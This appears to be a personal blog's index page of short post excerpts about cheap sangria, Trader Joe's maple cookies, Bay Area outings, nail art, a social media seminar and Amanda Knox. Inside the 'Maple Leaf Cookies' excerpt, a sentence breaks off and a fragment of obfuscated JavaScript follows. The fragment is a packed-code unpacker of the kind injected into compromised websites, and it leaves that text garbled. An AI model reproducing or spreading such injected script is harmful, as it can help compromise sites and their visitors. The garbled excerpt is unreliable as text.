Sangria

I had, what I considered, a brilliant idea last week. We had some 2-buck-chuck that was about to go bad.  I mixed it with, equal parts, OJ and sparkling lime water, also from TJs.  Threw a lime wedge in for a little taste and color and voila!  Sangria.  Really cheap sangria.  And it was pretty […]

Maple Leaf Cookies

Do you like maple bars?  You know, the donuts with the brown glaze?  Do you like cookies?  Well than I have a surprise for you! Maple Leaf Cookies from Trader Joes. I’m surprised and thankful that they continue to carry these. Surprised, because I feel like people choose their cookies like they choose ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new […]

San Francisco Tourists

Nick and I sometimes play tourist.  Nick has also always wanted to try a Segway. Last Christmas I got Nick a groupon for a segway tour of San Francisco by the Electric Tour Company. SO we got up super early for the 2nd Sunday in a row and headed into SF.  Did I mention that […]

Is blogging overrated?

I went to a marketing in social media seminar last night. The presenter had a pretty decent resume and had some good suggestions for social media and the arts. But then he broke my heart.  He thought blogging was overrated.  Insert very-sad-face here. He felt that facebook and twitter were microblogs and essentially the same, […]

Pt. Reyes

After our trip to Mt. Tam, we headed north Pt. Reyes.  Why?  Well, there was a lighthouse Nick wanted to see. We started our trip at the visitor’s center.  It was a pretty nice visitor’s center.  Large with some stuffed animals – not the cute kind, the creepy kind.

Mt. Tamalpais

Or Mt. Tam if you want to sound like you’re in the know. Mt. Tam is sort of like Mt. Diablo.  You could hike it if you wanted to, but you can also drive to the top.  And nothing pisses me off more than hiking to the top of a mountain, only to find overweight […]

Crackle for your nails

I don’t feel quite trendy enough to put black crackle on my nails AND go into work.  Mostly because I work at a national lab and not Lucky or Allure or some other style magazine. BUT, that doesn’t mean I won’t sport it on my toes.  We used a HOT PINK, almost fluorescent under black […]

Ombre Nails

Pretend there’s an accent over the “e” in ombre. Ombre means shaded or graduated in tone: said of color. And guess what?  People are ombre-ing their nails.  You better believe I was all over that. After a not-so-ombre-cool attempt on Friday, I jumped on over to Lisa’s house where we laid all of our colors […]

Amanda Knox

Have you heard of Amanda Knox? If you’ve been paying even remote attention to the news, you’ve probably heard of her. She got home to Seattle last night after a long 4 years.
